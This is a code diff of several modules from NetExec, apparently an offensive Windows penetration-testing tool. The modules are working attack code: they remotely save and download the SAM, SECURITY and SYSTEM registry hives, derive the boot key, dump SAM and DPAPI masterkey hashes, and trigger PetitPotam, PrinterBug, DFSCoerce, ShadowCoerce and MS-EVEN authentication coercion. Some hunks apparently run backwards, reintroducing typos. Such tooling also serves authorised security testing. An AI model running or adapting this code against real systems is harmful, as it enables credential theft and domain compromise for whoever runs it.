Hand-ported from impacket's RemoteOperations.getBootKey() rather than calling
|
||||
RemoteOperations directly, because RemoteOperations.enableRegistry() starts the
|
||||
RemoteRegistry service via the Service Control Manager -- which needs admin-level
|
||||
rights a plain Backup Operator doesn't have. This module already gets
|
||||
RemoteRegistry running via trigger_winreg()'s named-pipe trick instead, which
|
||||
works within Backup Operator's actual privileges (SeBackupPrivilege), so we reuse
|
||||
that connection here.
|
||||
|
||||
Raises on any failure (access denied, path not allowed remotely, RPC error, etc.)
|
||||
so the caller can fall back to the full SYSTEM hive save/download path.
|
||||
"""
|
||||
boot_key = b""
|
||||
ans = rrp.hOpenLocalMachine(dce)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
for key in ["JD", "Skew1", "GBG", "Data"]:
|
||||
context.log.debug(f"Retrieving class info for Lsa\\{key}")
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
dce,
|
||||
reg_handle,
|
||||
f"SYSTEM\\CurrentControlSet\\Control\\Lsa\\{key}",
|
||||
dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK,
|
||||
samDesired=rrp.KEY_READ,
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
ans = rrp.hBaseRegQueryInfoKey(dce, key_handle)
|
||||
class_out = ans["lpClassOut"]
|
||||
if isinstance(class_out, str):
|
||||
class_out = class_out.encode()
|
||||
boot_key += class_out[:-1]
|
||||
rrp.hBaseRegCloseKey(dce, key_handle)
|
||||
|
||||
rrp.hBaseRegCloseKey(dce, reg_handle)
|
||||
|
||||
transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
|
||||
boot_key = unhexlify(boot_key)
|
||||
|
||||
final_boot_key = b""
|
||||
for i in range(len(boot_key)):
|
||||
final_boot_key += boot_key[transforms[i]:transforms[i] + 1]
|
||||
|
||||
return final_boot_key
|
||||
|
||||
def on_login(self, context, connection):
|
||||
connection.args.share = "SYSVOL"
|
||||
rand_suffix = gen_random_string(8)
|
||||
@@ -88,11 +36,8 @@ class NXCModule:
|
||||
connection.trigger_winreg()
|
||||
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
|
||||
|
||||
boot_key = None
|
||||
try:
|
||||
# Large hives can take minutes to save before the RPC call returns.
|
||||
connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
|
||||
for hive in ["HKLM\\SAM", "HKLM\\SECURITY"]:
|
||||
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
|
||||
hRootKey, subKey = self._strip_root_key(dce, hive)
|
||||
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
|
||||
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
|
||||
@@ -103,44 +48,17 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
|
||||
return
|
||||
|
||||
try:
|
||||
context.log.display("Attempting to retrieve boot key live from the remote registry...")
|
||||
boot_key = self.get_boot_key(context, dce)
|
||||
context.log.highlight("Boot key retrieved live -- skipping SYSTEM hive save/download.")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Live boot key retrieval failed ({type(e).__name__}: {e}), falling back to full SYSTEM hive download...")
|
||||
boot_key = None
|
||||
|
||||
if boot_key is None:
|
||||
hRootKey, subKey = self._strip_root_key(dce, "HKLM\\SYSTEM")
|
||||
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
|
||||
context.log.debug("Dumping HKLM\\SYSTEM, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
|
||||
try:
|
||||
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
|
||||
rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
|
||||
context.log.highlight(f"Saved HKLM\\SYSTEM to {outputFileName}")
|
||||
self.system_hive_saved = True
|
||||
except Exception as e:
|
||||
context.log.fail(f"Couldn't save HKLM\\SYSTEM: {e} on path {outputFileName}")
|
||||
return
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
context.log.fail(f"Unexpected error: {e}")
|
||||
return
|
||||
finally:
|
||||
connection.conn.setTimeout(connection.args.smb_timeout)
|
||||
with contextlib.suppress(Exception):
|
||||
dce.disconnect()
|
||||
|
||||
# copy remote file to local
|
||||
log_path = f"{connection.output_filename}."
|
||||
connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
|
||||
hives_to_download = ["SAM", "SECURITY"]
|
||||
if self.system_hive_saved:
|
||||
hives_to_download.append("SYSTEM")
|
||||
for hive in hives_to_download:
|
||||
for hive in ["SAM", "SECURITY", "SYSTEM"]:
|
||||
connection.get_file_single(f"{hive}_{rand_suffix}", log_path + hive)
|
||||
connection.conn.setTimeout(connection.args.smb_timeout)
|
||||
|
||||
# read local file
|
||||
try:
|
||||
@@ -166,10 +84,8 @@ class NXCModule:
|
||||
self.machine_account = account_name if account_name.endswith("$") else f"{connection.hostname}$"
|
||||
return
|
||||
|
||||
if boot_key is None:
|
||||
local_operations = LocalOperations(log_path + "SYSTEM")
|
||||
boot_key = local_operations.getBootKey()
|
||||
|
||||
local_operations = LocalOperations(log_path + "SYSTEM")
|
||||
boot_key = local_operations.getBootKey()
|
||||
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam)
|
||||
sam_hashes.dump()
|
||||
sam_hashes.finish()
|
||||
@@ -221,9 +137,7 @@ class NXCModule:
|
||||
connection.create_conn_obj()
|
||||
if connection.hash_login(connection.domain, username, user_hash):
|
||||
context.log.display(f"Cleaning dump with user {username} on domain {connection.domain}")
|
||||
hives = ["SAM", "SECURITY"]
|
||||
if self.system_hive_saved:
|
||||
hives.append("SYSTEM")
|
||||
hives = ["SAM", "SECURITY", "SYSTEM"]
|
||||
all_deleted = True
|
||||
for hive in hives:
|
||||
remote_name = f"{hive}_{rand_suffix}"
|
||||
@@ -280,10 +194,7 @@ class NXCModule:
|
||||
return None, None
|
||||
|
||||
def _print_cleanup_warning(self, context, rand_suffix):
|
||||
paths = f"C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}"
|
||||
if self.system_hive_saved:
|
||||
paths += f", SYSTEM_{rand_suffix}"
|
||||
context.log.fail(f"Files were not automatically deleted. Please clean up manually: {paths}")
|
||||
context.log.fail(f"Files were not automatically deleted. Please clean up manually: C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}, SYSTEM_{rand_suffix}")
|
||||
|
||||
def _strip_root_key(self, dce, key_name):
|
||||
# Let's strip the root key
|
||||
|
||||
+141
-116
@@ -1,116 +1,141 @@
|
||||
import re
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "bitlocker"
|
||||
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USAGE:
|
||||
|
||||
NetExec smb <IP> -u <username> -p <password> -M bitlocker
|
||||
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
|
||||
"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if context.protocol == "smb":
|
||||
bitlocker_smb = BitLockerSMB(context, connection)
|
||||
bitlocker_smb.check_bitlocker_status()
|
||||
elif context.protocol == "wmi":
|
||||
bitlocker_wmi = BitLockerWMI(context, connection)
|
||||
bitlocker_wmi.check_bitlocker_status()
|
||||
|
||||
|
||||
class BitLockerSMB:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# PowerShell command to check BitLocker volumes status.
|
||||
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
|
||||
|
||||
try:
|
||||
# Executing the PowerShell command to get BitLocker volumes status.
|
||||
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
|
||||
|
||||
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
|
||||
self.context.log.fail("BitLockerVolume not found on target.")
|
||||
return
|
||||
|
||||
# Splitting the output into lines.
|
||||
lines = str(check_bitlocker_command_str_output).splitlines()
|
||||
data_lines = [line for line in lines if re.match(r"\w:", line)]
|
||||
|
||||
for line in data_lines:
|
||||
# Checking every line for starting with drive
|
||||
if line[1] == ":":
|
||||
parts = line.split()
|
||||
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
|
||||
|
||||
# Checking if BitLocker is enabled.
|
||||
if protection_status == "On":
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
|
||||
else:
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
|
||||
except Exception as e:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
|
||||
|
||||
class BitLockerWMI:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# Reuse the wmi protocol's authenticated IWbemLevel1Login instead of
|
||||
# creating a second DCOMConnection to the same target (whose disconnect
|
||||
# would clash with the protocol's own)
|
||||
try:
|
||||
iWbemLevel1Login = self.connection.iWbemLevel1Login
|
||||
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
|
||||
iWbemLevel1Login.RemRelease()
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
|
||||
encryptionTypeMapping = {
|
||||
0: "None",
|
||||
1: "AES_128_WITH_DIFFUSER",
|
||||
2: "AES_256_WITH_DIFFUSER",
|
||||
3: "AES_128",
|
||||
4: "AES_256",
|
||||
5: "HARDWARE_ENCRYPTION",
|
||||
6: "XTS_AES_128",
|
||||
7: "XTS_AES_256_WITH_DIFFUSER"
|
||||
}
|
||||
|
||||
try:
|
||||
while True:
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
|
||||
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
|
||||
if iWbemClassObject[0].ProtectionStatus == 1:
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
|
||||
else:
|
||||
if encryptionMethod == 0: # Should be 0 if disabled
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
|
||||
except Exception:
|
||||
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
|
||||
|
||||
iWbemServices.RemRelease()
|
||||
except Exception as e:
|
||||
if "WBEM_E_INVALID_NAMESPACE" in str(e):
|
||||
self.context.log.fail("BitLockerNamespace not found on target.")
|
||||
else:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
import re
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "bitlocker"
|
||||
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USAGE:
|
||||
|
||||
NetExec smb <IP> -u <username> -p <password> -M bitlocker
|
||||
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
|
||||
"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if context.protocol == "smb":
|
||||
bitlocker_smb = BitLockerSMB(context, connection)
|
||||
bitlocker_smb.check_bitlocker_status()
|
||||
elif context.protocol == "wmi":
|
||||
bitlocker_wmi = BitLockerWMI(context, connection)
|
||||
bitlocker_wmi.check_bitlocker_status()
|
||||
|
||||
|
||||
class BitLockerSMB:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# PowerShell command to check BitLocker volumes status.
|
||||
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
|
||||
|
||||
try:
|
||||
# Executing the PowerShell command to get BitLocker volumes status.
|
||||
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
|
||||
|
||||
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
|
||||
self.context.log.fail("BitLockerVolume not found on target.")
|
||||
return
|
||||
|
||||
# Splitting the output into lines.
|
||||
lines = str(check_bitlocker_command_str_output).splitlines()
|
||||
data_lines = [line for line in lines if re.match(r"\w:", line)]
|
||||
|
||||
for line in data_lines:
|
||||
# Checking every line for starting with drive
|
||||
if line[1] == ":":
|
||||
parts = line.split()
|
||||
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
|
||||
|
||||
# Checking if BitLocker is enabled.
|
||||
if protection_status == "On":
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
|
||||
else:
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
|
||||
except Exception as e:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
|
||||
|
||||
class BitLockerWMI:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
try:
|
||||
# Create a DCOM connection
|
||||
dcom_conn = DCOMConnection(
|
||||
self.connection.host,
|
||||
self.connection.username,
|
||||
self.connection.password,
|
||||
self.connection.domain,
|
||||
self.connection.lmhash,
|
||||
self.connection.nthash,
|
||||
oxidResolver=True,
|
||||
doKerberos=self.connection.kerberos,
|
||||
kdcHost=self.connection.kdcHost)
|
||||
|
||||
try:
|
||||
# CoCreateInstanceEx for WMI login
|
||||
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
|
||||
|
||||
# Specify the namespace for BitLocker
|
||||
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
|
||||
|
||||
# NTLM login for WMI
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
|
||||
|
||||
# Set authentication level
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
# Query to get BitLocker status
|
||||
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
|
||||
encryptionTypeMapping = {
|
||||
0: "None",
|
||||
1: "AES_128_WITH_DIFFUSER",
|
||||
2: "AES_256_WITH_DIFFUSER",
|
||||
3: "AES_128",
|
||||
4: "AES_256",
|
||||
5: "HARDWARE_ENCRYPTION",
|
||||
6: "XTS_AES_128",
|
||||
7: "XTS_AES_256_WITH_DIFFUSER"
|
||||
}
|
||||
|
||||
try:
|
||||
while True:
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
|
||||
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
|
||||
if iWbemClassObject[0].ProtectionStatus == 1:
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
|
||||
else:
|
||||
if encryptionMethod == 0: # Should be 0 if disabled
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
|
||||
except Exception:
|
||||
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
|
||||
|
||||
# Release resources
|
||||
iWbemLevel1Login.RemRelease()
|
||||
iWbemServices.RemRelease()
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
if "WBEM_E_INVALID_NAMESPACE" in str(e):
|
||||
self.context.log.fail("BitLockerNamespace not found on target.")
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
self.context.log.error(f"Error occurred during BitLocker check: {e}")
|
||||
dcom_conn.disconnect()
|
||||
@@ -2,14 +2,12 @@
|
||||
import json
|
||||
import socket
|
||||
from os import makedirs
|
||||
from os.path import join
|
||||
from certipy.commands.find import Find
|
||||
from certipy.lib.target import Target, DnsResolver
|
||||
from certipy.lib.formatting import pretty_print
|
||||
from datetime import datetime
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -36,7 +34,7 @@ class NXCModule:
|
||||
"""
|
||||
self.vuln = True
|
||||
self.enabled = False
|
||||
self.output_path = join(NXC_PATH, "modules", "certipy-find")
|
||||
self.output_path = f"{NXC_PATH}/modules/certipy-find"
|
||||
self.json = False
|
||||
self.csv = False
|
||||
self.text = False
|
||||
@@ -121,9 +119,9 @@ class NXCModule:
|
||||
if self.json or self.csv or self.text:
|
||||
makedirs(self.output_path, exist_ok=True)
|
||||
|
||||
filename = sanitize_path_component(f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
|
||||
filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
|
||||
if self.json:
|
||||
with open(join(self.output_path, f"{filename}.json"), "w") as f:
|
||||
with open(f"{self.output_path}/{filename}.json", "w") as f:
|
||||
json.dump(
|
||||
output,
|
||||
f,
|
||||
@@ -133,10 +131,10 @@ class NXCModule:
|
||||
if self.csv:
|
||||
template_output = finder.get_template_output_for_csv(output)
|
||||
ca_output = finder.get_ca_output_for_csv(output)
|
||||
with open(join(self.output_path, f"{filename}-templates.csv"), "w") as f:
|
||||
with open(f"{self.output_path}/{filename}-templates.csv", "w") as f:
|
||||
f.write(template_output)
|
||||
with open(join(self.output_path, f"{filename}-cas.csv"), "w") as f:
|
||||
with open(f"{self.output_path}/{filename}-cas.csv", "w") as f:
|
||||
f.write(ca_output)
|
||||
if self.text:
|
||||
with open(join(self.output_path, f"{filename}.txt"), "w") as f:
|
||||
with open(f"{self.output_path}/{filename}.txt", "w") as f:
|
||||
pretty_print(output, print_func=lambda x: f.write(x + "\n"))
|
||||
@@ -89,7 +89,7 @@ class NXCModule:
|
||||
self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=False)
|
||||
except Exception as e:
|
||||
# Handle specific errors like password expiration or must be change
|
||||
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e) or "STATUS_USER_SESSION_DELETED" in str(e):
|
||||
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e):
|
||||
context.log.warning("Password must be changed. Trying with null session.")
|
||||
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=True)
|
||||
elif "STATUS_LOGON_FAILURE" in str(e):
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
from impacket.dcerpc.v5 import transport, rprn, even, epm
|
||||
from impacket.dcerpc.v5.rrp import DCERPCSessionError # ruff: ignore[unused-import] solves an issue with error handling of impacket not displaying the correct exception
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
|
||||
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
@@ -48,13 +47,14 @@ class NXCModule:
|
||||
"""DFSCOERCE START"""
|
||||
try:
|
||||
dfscocerceclass = DFSCoerceTrigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
dfscocerceconnect = dfscocerceclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=connection.remoteName,
|
||||
target=target,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
@@ -78,13 +78,14 @@ class NXCModule:
|
||||
""" ShadowCoerce START """
|
||||
try:
|
||||
shadowcocerceclass = ShadowCoerceTrigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
shadowcocerceconnect = shadowcocerceclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=connection.remoteName,
|
||||
target=target,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
@@ -112,13 +113,14 @@ class NXCModule:
|
||||
context.log.debug(f"Trying to connect to {pipe} pipe")
|
||||
try:
|
||||
petitpotamclass = PetitPotamtTrigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
petitpotamconnect = petitpotamclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=connection.remoteName,
|
||||
target=target,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
@@ -148,13 +150,14 @@ class NXCModule:
|
||||
for pipe in pipes:
|
||||
try:
|
||||
printerbugclass = PrinterBugTrigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
printerbugconnect = printerbugclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=connection.remoteName,
|
||||
target=target,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
@@ -165,7 +168,7 @@ class NXCModule:
|
||||
context.log.debug("Target is vulnerable to PrinterBug")
|
||||
context.log.highlight("VULNERABLE, PrinterBug")
|
||||
if self.listener is not None: # exploit
|
||||
exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, connection.remoteName, self.always_continue, pipe)
|
||||
exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe)
|
||||
if not self.always_continue and exploit_status:
|
||||
break
|
||||
printerbugconnect.disconnect()
|
||||
@@ -180,13 +183,14 @@ class NXCModule:
|
||||
""" MSEVEN START """
|
||||
try:
|
||||
msevenclass = MSEvenTrigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
msevenconnect = msevenclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=connection.remoteName,
|
||||
target=target,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
@@ -1079,7 +1083,7 @@ class EFS_HASH_BLOB(NDRSTRUCT):
|
||||
|
||||
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
|
||||
structure = (
|
||||
("Length", DWORD),
|
||||
("Lenght", DWORD),
|
||||
("SID", RPC_SID),
|
||||
("Hash", EFS_HASH_BLOB),
|
||||
("Display", LPWSTR),
|
||||
|
||||
@@ -1,12 +1,15 @@
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.masterkeys import MasterkeysTriage
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
# Based on dpapimk2john, original work by @fist0urs
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "dpapi_hash"
|
||||
description = "Remotely dump Dpapi hash based on masterkeys"
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
@@ -16,11 +19,33 @@ class NXCModule:
|
||||
self.outputfile = module_options["OUTPUTFILE"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
try:
|
||||
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=connection.dpapi_triage.target,
|
||||
conn=connection.dpapi_triage.conn,
|
||||
target=target,
|
||||
conn=conn,
|
||||
)
|
||||
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
context.log.debug("Collecting user masterkeys")
|
||||
|
||||
@@ -13,7 +13,7 @@ class NXCModule:
|
||||
"""
|
||||
FILE_NAME Name of the file which will be tried to create and afterwards delete
|
||||
SHARE_NAME If set, ONLY this share will be used
|
||||
EXCLUDED_SHARES List of share names which will not be used, separated by comma
|
||||
EXCLUDED_SHARES List of share names which will not be used, seperated by comma
|
||||
"""
|
||||
|
||||
def on_login(self, context: Context, connection):
|
||||
|
||||
@@ -127,14 +127,6 @@ conf = {
|
||||
"services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Arctic Wolf",
|
||||
"services": [
|
||||
{"name": "AwWfpService", "description": "Arctic Wolf Agent Containment"},
|
||||
{"name": "ArcticWolfAgentMgr", "description": "Arctic Wolf Agent Manager"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Avast / AVG",
|
||||
"services": [
|
||||
|
||||
+19
-58
@@ -16,6 +16,12 @@ class NXCModule:
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
context = context
|
||||
self.module_options = module_options
|
||||
self.cve = "all"
|
||||
self.exploitation_details = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Be aware that these checks solely rely on the OS version and UBR reported in the registry,
|
||||
@@ -30,22 +36,23 @@ class NXCModule:
|
||||
- CVE-2024-49019 (EKUwu / ESC15)
|
||||
- CVE-2026-54121 (Certighost)
|
||||
- CVE-2026-27912 (ResetNightmare)
|
||||
- CVE-2026-102217 (PetitPotam WebDAV coercion)
|
||||
- KB5126646 (LDAP Signing Bypass, no CVE assigned)
|
||||
|
||||
CVE Filter for a specific CVE/KB identifier from the list above (default: All)
|
||||
CVE Filter for specific CVE number (default: All)
|
||||
EXPLOITATION Also provide sources for exploitation details (default: False)
|
||||
"""
|
||||
self.cve = module_options.get("CVE", "all").lower()
|
||||
if self.cve != "all" and self.cve not in [cve.lower() for cve in self.CVE_PATCHES]:
|
||||
context.log.fail(f"Unknown CVE '{module_options['CVE']}', supported identifiers: {', '.join(self.CVE_PATCHES)}")
|
||||
return False
|
||||
